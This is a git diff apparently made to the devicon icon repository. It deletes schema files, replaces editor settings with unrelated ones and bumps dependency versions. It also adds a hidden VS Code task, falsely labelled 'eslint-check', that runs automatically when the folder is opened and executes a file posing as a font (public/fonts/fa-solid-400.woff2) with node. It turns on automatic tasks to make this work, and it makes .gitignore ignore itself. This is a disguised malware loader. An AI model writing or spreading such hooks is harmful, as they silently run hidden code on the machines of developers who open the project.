diff --git a/.github/scripts/requirements.txt b/.github/scripts/requirements.txt index d8fa29e0b..310044854 100644 --- a/.github/scripts/requirements.txt +++ b/.github/scripts/requirements.txt @@ -1,2 +1,2 @@ selenium==4.1.0 -requests==2.32.3 +requests==2.33.0 diff --git a/.gitignore b/.gitignore index 1ac6e7678..8d0d8655f 100644 --- a/.gitignore +++ b/.gitignore @@ -8,3 +8,7 @@ new_icons.png screenshots/ release_message.txt log.txt +temp_auto_push.bat +temp_interactive_push.bat +.gitignore +branch_structure.json diff --git a/.vscode/devicon-schema.json b/.vscode/devicon-schema.json deleted file mode 100644 index aa17ac0e7..000000000 --- a/.vscode/devicon-schema.json +++ /dev/null @@ -1,224 +0,0 @@ -{ - "$schema": "http://json-schema.org/draft-07/schema", - "definitions": { - "IconVersions": { - "type": "string", - "enum": [ - "original", - "plain", - "line", - "original-wordmark", - "plain-wordmark", - "line-wordmark" - ] - }, - "IconVersionsArray": { - "type": "array", - "items": { - "$ref": "#/definitions/IconVersions" - } - } - }, - "type": "array", - "items": { - "type": "object", - "additionalProperties": false, - "properties": { - "name": { - "type": "string", - "title": "The official name of the technology.", - "description": "Pattern: Only lower-case letters and digits.", - "pattern": "^(dot-net|[0-9a-z]+)$" - }, - "altnames": { - "type": "array", - "title": "List of alternative names for this technology.", - "description": "Used for the searchbar on the Devicon website. https://devicon.dev", - "uniqueItems": true, - "items": { - "type": "string" - } - }, - "tags": { - "type": "array", - "title": "List of tags relating to the technology for categorization/search purpose.", - "$ref": "./tags-enum.json/#/definitions/Tags" - }, - "versions": { - "title": "Keeps track of the different versions that you have.", - "type": "object", - "additionalProperties": false, - "properties": { - "svg": { - "title": "List all the SVGs that you have.", - "contains": { - "$ref": "#/definitions/IconVersions" - }, - "minItems": 1, - "uniqueItems": true, - "$ref": "#/definitions/IconVersionsArray" - }, - "font": { - "title": "List only the SVGs that can be converted to fonts. Usually refers to \"plain\" and \"line\" versions but \"original\" can be accepted.", - "description": "DO NOT list aliases here! In this case use \"aliases\" property!", - "contains": { - "$ref": "#/definitions/IconVersions" - }, - "minItems": 1, - "uniqueItems": true, - "$ref": "#/definitions/IconVersionsArray" - } - } - }, - "color": { - "title": "The official/main hexadecimal color of the logo. [Case insensitive]", - "description": "Pattern example: #FFFFFF", - "type": "string", - "pattern": "^#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$", - "format": "color" - }, - "aliases": { - "title": "Keeps track of the aliases for the font versions ONLY.", - "description": "Can be empty, or contain objects, each with an alias and a base version. More info here: https://github.com/devicons/devicon/wiki/Updating-%60devicon.json%60#aliases-and-aliasobj", - "type": "array", - "items": { - "title": "AliasObj, an object containing an alias and a base version", - "type": "object", - "additionalProperties": false, - "properties": { - "base": { - "title": "The SVG file you are using as source for the alias.", - "$ref": "#/definitions/IconVersions" - }, - "alias": { - "title": "The new name (alias) that you want to generate.", - "$ref": "#/definitions/IconVersions" - } - }, - "required": [ - "base", - "alias" - ], - "allOf": [ - { - "if": { - "properties": { - "base": { - "const": "original" - } - } - }, - "then": { - "not": { - "properties": { - "alias": { - "const": "original" - } - } - } - } - }, - { - "if": { - "properties": { - "base": { - "const": "plain" - } - } - }, - "then": { - "not": { - "properties": { - "alias": { - "const": "plain" - } - } - } - } - }, - { - "if": { - "properties": { - "base": { - "const": "line" - } - } - }, - "then": { - "not": { - "properties": { - "alias": { - "const": "line" - } - } - } - } - }, - { - "if": { - "properties": { - "base": { - "const": "original-wordmark" - } - } - }, - "then": { - "not": { - "properties": { - "alias": { - "const": "original-wordmark" - } - } - } - } - }, - { - "if": { - "properties": { - "base": { - "const": "plain-wordmark" - } - } - }, - "then": { - "not": { - "properties": { - "alias": { - "const": "plain-wordmark" - } - } - } - } - }, - { - "if": { - "properties": { - "base": { - "const": "line-wordmark" - } - } - }, - "then": { - "not": { - "properties": { - "alias": { - "const": "line-wordmark" - } - } - } - } - } - ] - } - } - }, - "required": [ - "name", - "altnames", - "tags", - "versions", - "color", - "aliases" - ] - } -} diff --git a/.vscode/devicon.code-snippets b/.vscode/devicon.code-snippets deleted file mode 100644 index 2da130475..000000000 --- a/.vscode/devicon.code-snippets +++ /dev/null @@ -1,24 +0,0 @@ -{ - "new entry": { - "scope": "json", - "prefix": "new", - "description": "Inserts the new entry template object. Use it ONLY in \"devicon.json\"!", - "body": [ - "{", - " \"name\": \"\",", - " \"altnames\": [],", - " \"tags\": [],", - " \"versions\": {", - " \"svg\": [", - " \"\"", - " ],", - " \"font\": [", - " \"\"", - " ]", - " },", - " \"color\": \"\",", - " \"aliases\": []", - "}," - ] - } -} diff --git a/.vscode/extensions.json b/.vscode/extensions.json index fda5ad57b..2e3b64630 100644 --- a/.vscode/extensions.json +++ b/.vscode/extensions.json @@ -1,5 +1,7 @@ { - "recommendations": [ - "editorconfig.editorconfig" - ] -} + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 000000000..a5177abe1 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json index 7eb645653..934d55548 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,10 +1,23 @@ { - "json.schemas": [ - { - "fileMatch": [ - "devicon.json" - ], - "url": "/.vscode/devicon-schema.json" - } - ] + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } } diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 000000000..51b197495 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tags-enum.json b/.vscode/tags-enum.json deleted file mode 100644 index 1637bf6ff..000000000 --- a/.vscode/tags-enum.json +++ /dev/null @@ -1,283 +0,0 @@ -{ - "definitions": { - "Tags": { - "type": "array", - "items": { - "type": "string", - "enum": [ - ".net", - "3d", - "ARM", - "C#", - "CMS", - "DAG", - "GNU", - "IDE", - "algorithms", - "analysis", - "analytics", - "android", - "animation", - "api", - "api_wrapper", - "app", - "apple", - "applets", - "application", - "architecture", - "arm", - "audio", - "auth", - "autodesk", - "automation", - "azure", - "big data", - "binary", - "blockchain", - "blog", - "brand", - "browser", - "build", - "bundler", - "c", - "c++", - "c-sharp", - "c/c++", - "cdn", - "chat", - "cli", - "cloud", - "cloud-computing-platform", - "cmdlets", - "cms", - "code quality", - "code-quality", - "code-review", - "coding-style", - "collaboration", - "command", - "command-line", - "company", - "compiler", - "computer", - "computer-vision", - "container", - "continuous-delivery", - "cplusplus", - "cpp", - "cross-platform", - "csharp", - "css", - "dashboard", - "data", - "data science", - "data-model", - "data-processing", - "data-science", - "data-transfer", - "database", - "db", - "deep-learning", - "deploy", - "deployment", - "design", - "desktop", - "development", - "devops", - "distribuition", - "dns", - "docker", - "documentation", - "dotnet", - "ecommerce", - "editor", - "elastic", - "elixir", - "engine", - "erc20", - "esbuild", - "ethereum", - "file-format", - "format", - "framework", - "frontend", - "ftp", - "functional", - "game", - "game-engine", - "git", - "gitops", - "go", - "google", - "graph", - "graphic", - "graphics", - "groovy", - "hardware", - "heterogeneous-computing", - "hosting", - "html", - "http", - "hypervisor", - "iconset", - "ide", - "infrastructure", - "infrastructure-as-a-service", - "infrastructure-as-code", - "integration", - "ionic", - "ios", - "iphone", - "java", - "javascript", - "javascript-runtime", - "jetbrains", - "js", - "jupyter notebook", - "jvm", - "k3s", - "khronos", - "kotlin", - "kubernetes", - "language", - "laravel", - "latex2e", - "latex3", - "library", - "linter", - "linux", - "localization", - "logs", - "machine-learning", - "manager", - "markup", - "material-design", - "math", - "mel", - "mesh", - "message-broker", - "metrics", - "micro-framework", - "micro-services", - "microcontroller", - "microservices", - "mobile", - "modeling", - "modelling", - "monitoring", - "multimedia", - "network", - "networking", - "node.js", - "nodejs", - "nosql", - "note-taking", - "object-notation", - "object-oriented", - "object-relational mapper", - "observability", - "open-source", - "operating-system", - "orchestrator", - "organization", - "organize", - "orm", - "os", - "package", - "package-manager", - "pages", - "performance", - "php", - "pipeline", - "platform", - "plotting", - "pods", - "polyfill", - "pre-processor", - "procedural", - "production-tool", - "production-tracking", - "programming", - "project-management", - "promise", - "prototype-based", - "provisioning", - "proxy", - "pymel", - "python", - "query", - "rancher", - "reactjs", - "remote-development", - "rest", - "robotics", - "router", - "ruby", - "runtime", - "rust", - "scala", - "script", - "scripting", - "sdk", - "security", - "server", - "serverless", - "shell", - "social", - "software", - "solidity", - "specification", - "sql", - "ssg", - "ssh", - "standard", - "state-management", - "static site generator", - "static-site-generator", - "statistics", - "storage", - "streaming", - "svn", - "task-runner", - "telemetry", - "terminal", - "test-runner", - "testing", - "tex", - "text editor", - "tool", - "tracing", - "transpiler", - "typescript", - "typesetting-system", - "ui", - "universal", - "unix", - "vcs", - "vector", - "version", - "version control", - "version-control", - "vfx", - "video", - "virtual machine", - "visualization", - "vmware", - "vuejs", - "vuejs-library", - "web", - "web-application", - "web-development", - "web3", - "webdrive", - "website", - "websockets", - "wiki", - "windows", - "wrapper", - "zig" - ] - } - } - } -} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000..5e226620d --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/package-lock.json b/package-lock.json index 0fc3de168..c65354b31 100644 --- a/package-lock.json +++ b/package-lock.json @@ -2987,9 +2987,9 @@ } }, "node_modules/js-yaml": { - "version": "3.14.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", - "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "version": "3.14.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", + "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==", "dev": true, "dependencies": { "argparse": "^1.0.7", @@ -7744,9 +7744,9 @@ "dev": true }, "js-yaml": { - "version": "3.14.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", - "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "version": "3.14.2", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", + "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==", "dev": true, "requires": { "argparse": "^1.0.7",